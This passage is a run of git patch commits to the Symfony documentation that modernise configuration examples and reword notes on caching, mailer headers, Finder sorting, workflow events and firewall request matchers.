             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:cache>
-                  <framework:pool name="my_cache_pool" adapter="cache.adapter.redis" tags="tag_pool"/>
-                  <framework:pool name="tag_pool" adapter="cache.adapter.apcu"/>
+                    <framework:pool name="my_cache_pool"
+                        adapter="cache.adapter.redis"
+                        tags="tag_pool"
+                    />
+                    <framework:pool name="tag_pool" adapter="cache.adapter.apcu"/>
                 </framework:cache>
             </framework:config>
         </container>
@@ -664,19 +712,23 @@ achieved by specifying the adapter.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => 'tag_pool',
-                    ],
-                    'tag_pool' => [
-                        'adapter' => 'cache.adapter.apcu',
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'pools' => [
+                        'my_cache_pool' => [
+                            'adapter' => 'cache.adapter.redis',
+                            'tags' => 'tag_pool',
+                        ],
+                        'tag_pool' => [
+                            'adapter' => 'cache.adapter.apcu',
+                        ],
                     ],
                 ],
-            ],
-        ]);
+            ]);
+        };
 
 .. note::
 
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 486f89e599d..fab46ff3d26 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -259,15 +259,16 @@ config files:
             newsletter_manager:
                 class:     NewsletterManager
                 calls:
-                    - setMailer: ['@mailer']
+                    - [setMailer, ['@mailer']]
 
     .. code-block:: xml
 
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
             <parameters>
                 <!-- ... -->
                 <parameter key="mailer.transport">sendmail</parameter>
@@ -290,24 +291,21 @@ config files:
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $configurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 // ...
                 ->set('mailer.transport', 'sendmail')
             ;
 
-            $services = $configurator->services();
-
-            $services->set('mailer', 'Mailer')
-                ->args(['%mailer.transport%'])
-            ;
+            $container->services()
+                ->set('mailer', 'Mailer')
+                    ->args(['%mailer.transport%'])
 
-            $services->set('newsletter_manager', 'NewsletterManager')
-                ->call('setMailer', [ref('mailer')])
+                ->set('newsletter_manager', 'NewsletterManager')
+                    ->call('setMailer', [ref('mailer')])
             ;
         };
 
-
 Learn More
 ----------
 
diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index 92868df1985..50c6b736353 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -19,8 +19,8 @@
             <container xmlns="http://symfony.com/schema/dic/services"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                    https://symfony.com/schema/dic/services/services-1.0.xsd"
+            >
                 <imports>
                     <import resource="%kernel.project_dir%/somefile.yaml"/>
                 </imports>
@@ -29,4 +29,8 @@
         .. code-block:: php
 
             // config/services.php
-            $loader->import('%kernel.project_dir%/somefile.yaml');
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            return static function (ContainerConfigurator $container) {
+                $container->import('%kernel.project_dir%/somefile.yaml');
+            };
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index acf754c0f5d..3f5812529b2 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -200,13 +200,16 @@ The XML version of the config would then look like this:
     <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xmlns:acme_demo="http://www.example.com/symfony/schema/"
-        xsi:schemaLocation="http://www.example.com/symfony/schema/ https://www.example.com/symfony/schema/hello-1.0.xsd">
-
-        <acme_demo:config>
+        xmlns:acme-demo="http://www.example.com/schema/dic/acme_demo"
+        xsi:schemaLocation="http://symfony.com/schema/dic/services
+            https://symfony.com/schema/dic/services/services-1.0.xsd
+            http://www.example.com/schema/dic/acme_demo
+            https://www.example.com/schema/dic/acme_demo/acme_demo-1.0.xsd"
+    >
+        <acme-demo:config>
             <acme_demo:foo>fooValue</acme_demo:foo>
             <acme_demo:bar>barValue</acme_demo:bar>
-        </acme_demo:config>
+        </acme-demo:config>
     </container>
 
 .. note::
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index 41aacae0e46..36ca212b006 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -187,21 +187,26 @@ configuration:
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
-                <framework:session gc_probability="null"/>
+                <framework:session gc-probability="null"/>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'gc_probability' => null,
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'session' => [
+                    'gc_probability' => null,
+                ],
+            ]);
+        };
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``
 and ``gc_maxlifetime`` in an array to the constructor of
diff --git a/components/serializer.rst b/components/serializer.rst
index c26cd480134..81707bc5a05 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -816,6 +816,8 @@ faster alternative to the
 
         # config/services.yaml
         services:
+            # ...
+
             get_set_method_normalizer:
                 class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
                 tags: [serializer.normalizer]
@@ -827,9 +829,11 @@ faster alternative to the
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
             <services>
+                <!-- ... -->
+
                 <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
                     <tag name="serializer.normalizer"/>
                 </service>
@@ -843,11 +847,11 @@ faster alternative to the
 
         use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
-                ->tag('serializer.normalizer')
+        return static function (ContainerConfigurator $container) {
+            $container->services()
+                // ...
+                ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
+                    ->tag('serializer.normalizer')
             ;
         };
 
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index a607ddeb59b..1202791b97c 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -131,22 +131,27 @@ the :ref:`dump_destination option <configuration-debug-dump_destination>` of the
 
         <!-- config/packages/debug.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/debug"
+        <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:debug="http://symfony.com/schema/dic/debug"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/debug https://symfony.com/schema/dic/debug/debug-1.0.xsd">
-
+                http://symfony.com/schema/dic/debug
+                https://symfony.com/schema/dic/debug/debug-1.0.xsd"
+        >
             <debug:config dump-destination="tcp://%env(VAR_DUMPER_SERVER)%"/>
         </container>
 
     .. code-block:: php
 
         // config/packages/debug.php
-        $container->loadFromExtension('debug', [
-           'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('debug', [
+                'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
+            ]);
+        };
 
 Outside a Symfony application, use the :class:`Symfony\\Component\\VarDumper\\Dumper\\ServerDumper` class::
 

From 12c52deba66b477b3eeff1fe330eba8bc740fe81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 15:34:37 +0200
Subject: [PATCH 2163/5766] Tweaks

---
 reference/constraints/Email.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 4e019699251..6e63ed51642 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -153,10 +153,10 @@ in the second host part of the email address.
 strict
 ......
 
-If you're using Symfony Mailer to send emails to that address, this is
-the recommended mode, since both are using the same library, to perform an RFC
-compliant validation: `egulias/email-validator`_. If you're not using Symfony
-Mailer, you will need to install that library separately to use this mode.
+Performs an RFC compliant validation using the `egulias/email-validator`_ library.
+It's recommended to set this mode when using :doc:`Symfony Mailer </mailer>`
+because the library is already installed and ready to use. Otherwise, you need
+to install the library separately to use this mode.
 
 html5
 .....

From 12099231af980ac800cadcde92e4d5de51cdd055 Mon Sep 17 00:00:00 2001
From: ToshY <31921460+ToshY@users.noreply.github.com>
Date: Sun, 11 Jul 2021 22:33:01 +0200
Subject: [PATCH 2164/5766] Update section setting headers globally

Added caution to clarify that setting headers globally is not supported for every 3rd party provider with keywords like "from".
---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index b845a8ee8f5..d5a34adda2f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -605,6 +605,11 @@ and headers.
 .. versionadded:: 5.2
 
     The ``headers`` option was introduced in Symfony 5.2.
+    
+.. caution::
+
+    The usage of keywords like ``from`` in the ``headers`` is not supported for every 3rd party provider (e.g. `Mailjet API V3`_). 
+    Please consult your provider's documentation before setting the ``headers`` globally.
 
 Handling Sending Failures
 -------------------------
@@ -1496,3 +1501,4 @@ you can use the built in assertions::
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+.. _`Mailjet API V3`: https://dev.mailjet.com/email/guides/send-api-v31/#add-email-headers

From e68413ee9521f7c87b833b770a37c4afcc6845a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 16:22:16 +0200
Subject: [PATCH 2165/5766] Minor reword

---
 mailer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d5a34adda2f..a151933d636 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -608,8 +608,9 @@ and headers.
     
 .. caution::
 
-    The usage of keywords like ``from`` in the ``headers`` is not supported for every 3rd party provider (e.g. `Mailjet API V3`_). 
-    Please consult your provider's documentation before setting the ``headers`` globally.
+    Some third-party providers don't support the usage of keywords like ``from``
+    in the ``headers``. Check out your provider's documentation before setting
+    any global header.
 
 Handling Sending Failures
 -------------------------

From cfdeef327557baf6d7bbd528b2cae42a2564e932 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 17:09:42 +0200
Subject: [PATCH 2166/5766] Minor tweak

---
 performance.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/performance.rst b/performance.rst
index a617820c1cb..8d651eab5de 100644
--- a/performance.rst
+++ b/performance.rst
@@ -331,14 +331,13 @@ Sections are a way to split the profile timeline into groups. Example::
     $this->stopwatch->stopSection('parsing');
 
 All events that don't belong to any named section are added to the special section
-``__root__``. This way you can get all stopwatch events, even if you don't know
-their names::
+called ``__root__``. This way you can get all stopwatch events, even if you don't
+know their names, as follows::
 
     foreach($this->stopwatch->getSectionEvents('__root__') as $event) {
         echo (string) $event;
     }
 
-
 Learn more
 ----------
 

From e9291f07f595eaacfa1593e41d080591b0bf6436 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 17:33:31 +0200
Subject: [PATCH 2167/5766] Reword

---
 components/dependency_injection/compilation.rst | 15 +++++----------
 components/filesystem.rst                       |  2 ++
 2 files changed, 7 insertions(+), 10 deletions(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index ca3bbd47ddd..01979fce7ac 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -468,13 +468,13 @@ serves at dumping the compiled container::
         file_put_contents($file, $dumper->dump());
     }
 
-
 .. tip::
 
-    Call to `file_put_contents` is not atomic. When generating container in
-    a production  environment with multiple concurrent requests, use `dumpFile`
-    from `component-filesystem` instead. This generates file in tmp and moves it
-    to its destination only once it's fully written to.
+    The ``file_put_contents()`` function is not atomic. That could cause issues
+    in a production environment with multiple concurrent requests. Instead, use
+    the :ref:`dumpFile() method <filesystem-dumpfile>` from Symfony Filesystem
+    component or other methods provided by Symfony (e.g. ``$containerConfigCache->write()``)
+    which are atomic.
     
 ``ProjectServiceContainer`` is the default name given to the dumped container
 class. However, you can change this with the ``class`` option when you
@@ -567,11 +567,6 @@ for these resources and use them as metadata for the cache::
 
     require_once $file;
     $container = new MyCachedContainer();
-    
-.. note::
-
-    Using `$containerConfigCache->write` also makes sure that
-    the file write operation is atomic.
 
 Now the cached dumped container is used regardless of whether debug mode
 is on or not. The difference is that the ``ConfigCache`` is set to debug
diff --git a/components/filesystem.rst b/components/filesystem.rst
index fc0482227e7..9642ceb74f4 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -291,6 +291,8 @@ exception on failure::
 
     The option to set a suffix in  ``tempnam()`` was introduced in Symfony 5.1.
 
+.. _filesystem-dumpfile:
+
 ``dumpFile``
 ~~~~~~~~~~~~
 

From 60921434422a2f2b812fe92585f54380c01d26ae Mon Sep 17 00:00:00 2001
From: Kilian Schrenk <36930282+kschrenk@users.noreply.github.com>
Date: Wed, 15 Dec 2021 09:27:21 +0100
Subject: [PATCH 2168/5766] [Form] Additional hints when rendering the same
 form in different templates

---
 forms.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/forms.rst b/forms.rst
index 0da65609245..9155c715c71 100644
--- a/forms.rst
+++ b/forms.rst
@@ -455,6 +455,9 @@ possible paths:
     .. code-block:: twig
 
         {{ render(controller('App\\Controller\\TaskController::new')) }}
+        
+    But be careful becaues this might cause some extra work when it comes to submit and error handling.
+    Symfony Validation will get more complex when you render the same form in different routes.
 
 .. _validating-forms:
 

From d29ee51165c90f615cfd36b2701622e54022d1cb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 17:46:00 +0200
Subject: [PATCH 2169/5766] Removed an unnecessary tip

---
 forms.rst | 13 -------------
 1 file changed, 13 deletions(-)

diff --git a/forms.rst b/forms.rst
index 9155c715c71..dad9437dd49 100644
--- a/forms.rst
+++ b/forms.rst
@@ -446,19 +446,6 @@ possible paths:
     data is passed to it, you can
     :doc:`use the submit() method to handle form submissions </form/direct_submit>`.
 
-.. tip::
-
-    If you need to render and process the same form in different templates,
-    use the ``render()`` function to :ref:`embed the controller <templates-embed-controllers>`
-    that processes the form:
-
-    .. code-block:: twig
-
-        {{ render(controller('App\\Controller\\TaskController::new')) }}
-        
-    But be careful becaues this might cause some extra work when it comes to submit and error handling.
-    Symfony Validation will get more complex when you render the same form in different routes.
-
 .. _validating-forms:
 
 Validating Forms

From 108bbe36aeaafa7ca49f691c2d787f6b7c44d3b5 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Tue, 9 Aug 2022 01:37:36 +0200
Subject: [PATCH 2170/5766] 6.1 don't mention PHP 7

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 5bc88019e9a..d9f19ddfecf 100644
--- a/routing.rst
+++ b/routing.rst
@@ -28,8 +28,8 @@ PHP attributes and annotations allow to define routes next to the code of the
 :doc:`controllers </controller>` associated to those routes. Attributes are
 native in PHP 8 and higher versions, so you can use them right away.
 
-In PHP 7 and earlier versions you can use annotations (via the Doctrine Annotations
-library), but first you'll need to install the following dependency in your project:
+You can use annotations via the Doctrine Annotations library,
+but first you'll need to install the following dependency in your project:
 
 .. code-block:: terminal
 

From df9281fbd2f6b664a2bd2d8d846d824875776cd9 Mon Sep 17 00:00:00 2001
From: hmoreau <hubert.moreau@gmail.com>
Date: Tue, 9 Aug 2022 10:49:26 +0200
Subject: [PATCH 2171/5766] [Finder] Add case insensitive sort

---
 components/finder.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/finder.rst b/components/finder.rst
index 55f010d61b6..9bfbdfa1afe 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -339,13 +339,14 @@ Sorting Results
 Sort the results by name, extension, size or type (directories first, then files)::
 
     $finder->sortByName();
+    $finder->sortByCaseInsensitiveName();
     $finder->sortByExtension();
     $finder->sortBySize();
     $finder->sortByType();
 
 .. versionadded:: 6.2
 
-    The ``sortByExtension()`` and ``sortBySize()`` methods were introduced in Symfony 6.2.
+    The ``sortByCaseInsensitiveName()``, ``sortByExtension()`` and ``sortBySize()`` methods were introduced in Symfony 6.2.
 
 .. tip::
 
@@ -353,6 +354,9 @@ Sort the results by name, extension, size or type (directories first, then files
     function (e.g. ``file1.txt``, ``file10.txt``, ``file2.txt``). Pass ``true``
     as its argument to use PHP's `natural sort order`_ algorithm instead (e.g.
     ``file1.txt``, ``file2.txt``, ``file10.txt``).
+    
+    The ``sortByCaseInsensitiveName()`` method uses the case insensitive :phpfunction:`strcasecmp` PHP function.
+    Pass ``true`` as its argument to use PHP's case insensitive `natural sort order`_ algorithm instead (the :phpfunction:`strnatcasecmp` PHP function)
 
 Sort the files and directories by the last accessed, changed or modified time::
 

From 09cd3e9c573c291ede7a9cbbbb430f6f62e783df Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 11:09:42 +0200
Subject: [PATCH 2172/5766] Tweaks

---
 components/finder.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 9bfbdfa1afe..7246c5ebafd 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -346,7 +346,8 @@ Sort the results by name, extension, size or type (directories first, then files
 
 .. versionadded:: 6.2
 
-    The ``sortByCaseInsensitiveName()``, ``sortByExtension()`` and ``sortBySize()`` methods were introduced in Symfony 6.2.
+    The ``sortByCaseInsensitiveName()``, ``sortByExtension()`` and ``sortBySize()``
+    methods were introduced in Symfony 6.2.
 
 .. tip::
 
@@ -355,8 +356,10 @@ Sort the results by name, extension, size or type (directories first, then files
     as its argument to use PHP's `natural sort order`_ algorithm instead (e.g.
     ``file1.txt``, ``file2.txt``, ``file10.txt``).
     
-    The ``sortByCaseInsensitiveName()`` method uses the case insensitive :phpfunction:`strcasecmp` PHP function.
-    Pass ``true`` as its argument to use PHP's case insensitive `natural sort order`_ algorithm instead (the :phpfunction:`strnatcasecmp` PHP function)
+    The ``sortByCaseInsensitiveName()`` method uses the case insensitive
+    :phpfunction:`strcasecmp` PHP function. Pass ``true`` as its argument to use
+    PHP's case insensitive `natural sort order`_ algorithm instead (i.e. the
+    :phpfunction:`strnatcasecmp` PHP function)
 
 Sort the files and directories by the last accessed, changed or modified time::
 

From 9773afdcaab532ee2a1bc8ecdac3a58ccb328b3e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 11:40:13 +0200
Subject: [PATCH 2173/5766] Minor tweak

---
 components/browser_kit.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 764e42e0e2b..f957fe381bb 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -319,9 +319,9 @@ dedicated web crawler or scraper such as `Goutte`_::
 
 .. tip::
 
-    You can also use HTTP client options like 'ciphers', 'auth_basic' and 'query'.
-    They have to be passed as the default options argument to the client, 
-    which is used by the HTTP browser.
+    You can also use HTTP client options like ``ciphers``, ``auth_basic`` and
+    ``query``. They have to be passed as the default options argument to the
+    client which is used by the HTTP browser.
 
 .. versionadded:: 4.3
 

From 0014a72dd1dc0b61c2ee3dd98246d3d9c39a7210 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 11:43:03 +0200
Subject: [PATCH 2174/5766] Remove an unused reference

---
 mailer.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index a151933d636..c77ed616b53 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1502,4 +1502,3 @@ you can use the built in assertions::
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`Mailjet API V3`: https://dev.mailjet.com/email/guides/send-api-v31/#add-email-headers

From e0f53e9ad0b87f56882518529d852b0947cdf572 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Mon, 28 Feb 2022 22:19:52 +0100
Subject: [PATCH 2175/5766] Update firewall_restriction.rst

the correction assumes the the custom request matcher is App\Security\CustomRequestMatcher.

the `request_matcher` option is the service id. it should be mentionned before that  the `app.firewall.secured_area.request_matcher` is the service ID / or an alias like the following :

```
     app.firewall.secured_area.request_matcher:
        alias: App\Security\RequestMatcher
```
---
 security/firewall_restriction.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index 3638858efde..190c74c3cda 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -215,7 +215,7 @@ If the above options don't fit your needs you can configure any service implemen
         security:
             firewalls:
                 secured_area:
-                    request_matcher: app.firewall.secured_area.request_matcher
+                    request_matcher: App\Security\CustomRequestMatcher
                     # ...
 
     .. code-block:: xml

From 2a14cfd7d5f7863d61a24d59be7b53d9e18787fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 12:30:55 +0200
Subject: [PATCH 2176/5766] Tweak

---
 security/firewall_restriction.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index 190c74c3cda..59e261e8628 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -232,7 +232,7 @@ If the above options don't fit your needs you can configure any service implemen
 
             <config>
                 <!-- ... -->
-                <firewall name="secured_area" request-matcher="app.firewall.secured_area.request_matcher">
+                <firewall name="secured_area" request-matcher="App\Security\CustomRequestMatcher">
                     <!-- ... -->
                 </firewall>
             </config>
@@ -241,13 +241,14 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: php
 
         // config/packages/security.php
+        use App\Security\CustomRequestMatcher;
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
             // ....
 
             $security->firewall('secured_area')
-                ->requestMatcher('app.firewall.secured_area.request_matcher')
+                ->requestMatcher(CustomRequestMatcher::class)
                 // ...
             ;
         };

From e5c176cd87e7d6ee7297792a7692f05e22465f73 Mon Sep 17 00:00:00 2001
From: Philippe Villiers <kissifrot+gh@gmail.com>
Date: Mon, 14 Feb 2022 22:47:38 +0100
Subject: [PATCH 2177/5766] Workflow - Add a note about guards events and
 ability to save some CPU

---
 workflow.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index b44b417f333..d5aa9b8a5e1 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -509,6 +509,16 @@ missing a title::
 
     The optional second argument of ``setBlocked()`` was introduced in Symfony 5.1.
 
+.. note::
+
+    When using guard listeners which imply intensive workloads (CPU, Database
+    or longer-running code blocks), if you only want them to be fired when strictly
+    necessary (only when ``Workflow::can()`` or ``Workflow::apply()`` is executed),
+    be sure to disable ``Workflow::DISABLE_ANNOUNCE_EVENT`` as indicated in
+    :ref:`Choosing which Events to Dispatch <workflow-chosing-events-to-dispatch>`
+
+.. _workflow-chosing-events-to-dispatch:
+
 Choosing which Events to Dispatch
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From ab3b1825e4b87dc930b8bbb4eb2a18f84cce36e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 12:41:50 +0200
Subject: [PATCH 2178/5766] Reword

---
 workflow.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 55f780965be..ef6193d02c0 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -368,7 +368,6 @@ order:
     * ``workflow.[workflow name].completed``
     * ``workflow.[workflow name].completed.[transition name]``
 
-
 ``workflow.announce``
     Triggered for each transition that now is accessible for the subject.
 
@@ -378,7 +377,12 @@ order:
     * ``workflow.[workflow name].announce``
     * ``workflow.[workflow name].announce.[transition name]``
 
-    You can avoid triggering those events by using the context::
+    After a transition is applied, the announce event tests for all available
+    transitions. That will trigger all :ref:`guard events <workflow-usage-guard-events>`
+    once more, which could impact performance if they include intensive CPU or
+    database workloads.
+
+    If you don't need the announce event, disable it using the context::
 
         $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
 
@@ -509,14 +513,6 @@ missing a title::
 
     The optional second argument of ``setBlocked()`` was introduced in Symfony 5.1.
 
-.. note::
-
-    When using guard listeners which imply intensive workloads (CPU, Database
-    or longer-running code blocks), if you only want them to be fired when strictly
-    necessary (only when ``Workflow::can()`` or ``Workflow::apply()`` is executed),
-    be sure to disable ``Workflow::DISABLE_ANNOUNCE_EVENT`` as indicated in
-    :ref:`Choosing which Events to Dispatch <workflow-chosing-events-to-dispatch>`
-
 .. _workflow-chosing-events-to-dispatch:
 
 Choosing which Events to Dispatch

From f2f03c8a911d20146688b4d3054a74a5b5f2cf27 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Sun, 7 Aug 2022 16:29:01 +0200
Subject: [PATCH 2179/5766] add alternative method to force version with
 symfony/flex

---
 bundles/best_practices.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 64992cae3a9..4cb57c2187d 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -228,6 +228,8 @@ with Symfony Flex to install a specific Symfony version:
 
     # this requires Symfony 5.x for all Symfony packages
     export SYMFONY_REQUIRE=5.*
+    # alternative method: write to the composer.json file
+    # composer config extra.symfony.require "5.*"
 
     # install Symfony Flex in the CI environment
     composer global require --no-progress --no-scripts --no-plugins symfony/flex

From 0902aa4ef753fcac7ef231d14ae5d134d9c0576c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 13:17:59 +0200
Subject: [PATCH 2180/5766] [Cache] Update an argument name to make it
 consistent with other docs

---
 cache.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/cache.rst b/cache.rst
index 74d6c30be27..1a2e0f46aaf 100644
--- a/cache.rst
+++ b/cache.rst
@@ -382,8 +382,8 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $container) {
-                $container->services()
+            return function(ContainerConfigurator $configurator) {
+                $configurator->services()
                     // ...
 
                     ->set('app.cache.adapter.redis')

From 47cb76d2de73c982a72a91ed0125be16711d6155 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Tue, 12 Jul 2022 20:15:41 +0200
Subject: [PATCH 2181/5766] [Filesystem] filesystem > readlink: remove function
